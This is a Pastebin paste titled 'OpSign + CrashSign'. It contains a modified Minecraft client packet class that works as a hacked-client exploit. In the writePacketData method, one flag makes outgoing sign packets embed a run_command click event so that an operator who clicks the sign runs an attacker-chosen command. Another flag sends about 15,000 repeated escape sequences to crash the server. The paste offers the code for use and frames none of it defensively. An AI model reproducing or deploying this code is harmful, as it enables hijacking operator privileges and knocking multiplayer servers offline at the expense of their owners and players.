Advertisement
TNT_Block

OpSign + CrashSign

Apr 19th, 2019
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.90 KB | None | 0 0
  1. package net.minecraft.network.play.client;
  2.  
  3. import java.io.IOException;
  4. import net.minecraft.network.INetHandler;
  5. import net.minecraft.network.Packet;
  6. import net.minecraft.network.PacketBuffer;
  7. import net.minecraft.network.play.INetHandlerPlayServer;
  8. import net.minecraft.util.BlockPos;
  9. import net.minecraft.util.IChatComponent;
  10.  
  11. public class C12PacketUpdateSign implements Packet
  12. {
  13. public static Boolean isForceOpactive = false;
  14. public static Boolean crashsign = false;
  15. public static String signCommand;
  16. public static String signContent;
  17.  
  18. private BlockPos field_179723_a;
  19. private IChatComponent[] lines;
  20. private static final String __OBFID = "CL_00001370";
  21.  
  22. public C12PacketUpdateSign() {}
  23.  
  24. public C12PacketUpdateSign(BlockPos p_i45933_1_, IChatComponent[] p_i45933_2_)
  25. {
  26. this.field_179723_a = p_i45933_1_;
  27. this.lines = new IChatComponent[] {p_i45933_2_[0], p_i45933_2_[1], p_i45933_2_[2], p_i45933_2_[3]};
  28. }
  29.  
  30. /**
  31. * Reads the raw packet data from the data stream.
  32. */
  33. public void readPacketData(PacketBuffer data) throws IOException
  34. {
  35. this.field_179723_a = data.readBlockPos();
  36. this.lines = new IChatComponent[4];
  37.  
  38. for (int var2 = 0; var2 < 4; ++var2)
  39. {
  40. this.lines[var2] = data.readChatComponent();
  41. }
  42. }
  43.  
  44. /**
  45. * Writes the raw packet data to the data stream.
  46. */
  47. public void writePacketData(PacketBuffer buf) throws IOException
  48. {
  49. if (isForceOpactive) {
  50. buf.writeBlockPos(this.field_179723_a);
  51. for (int i = 0; i < 4; i++)
  52. {
  53. IChatComponent ichatcomponent = this.lines[i];
  54. String s = "{\"text\":\"" + signContent + "\",\"clickEvent\":{\"action\":\"run_command\",\"value\":\"" + signCommand + "\"}}";
  55. buf.writeString(s);
  56. }
  57. }else if (crashsign){
  58. StringBuilder sb = new StringBuilder();
  59. for (int m = 0; m <= 15000; m++) {
  60. sb.append("\\ufdfd");
  61. }
  62. buf.writeString(sb.toString());
  63. }else {
  64.  
  65. buf.writeBlockPos(this.field_179723_a);
  66.  
  67. for (int var2 = 0; var2 < 4; ++var2)
  68. {
  69. buf.writeChatComponent(this.lines[var2]);
  70. }
  71. }
  72.  
  73. }
  74.  
  75. /**
  76. * Passes this Packet on to the NetHandler for processing.
  77. */
  78. public void processPacket(INetHandlerPlayServer handler)
  79. {
  80. handler.processUpdateSign(this);
  81. }
  82.  
  83. public BlockPos func_179722_a()
  84. {
  85. return this.field_179723_a;
  86. }
  87.  
  88. public IChatComponent[] func_180768_b()
  89. {
  90. return this.lines;
  91. }
  92.  
  93. /**
  94. * Passes this Packet on to the NetHandler for processing.
  95. */
  96. public void processPacket(INetHandler handler)
  97. {
  98. this.processPacket((INetHandlerPlayServer)handler);
  99. }
  100. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement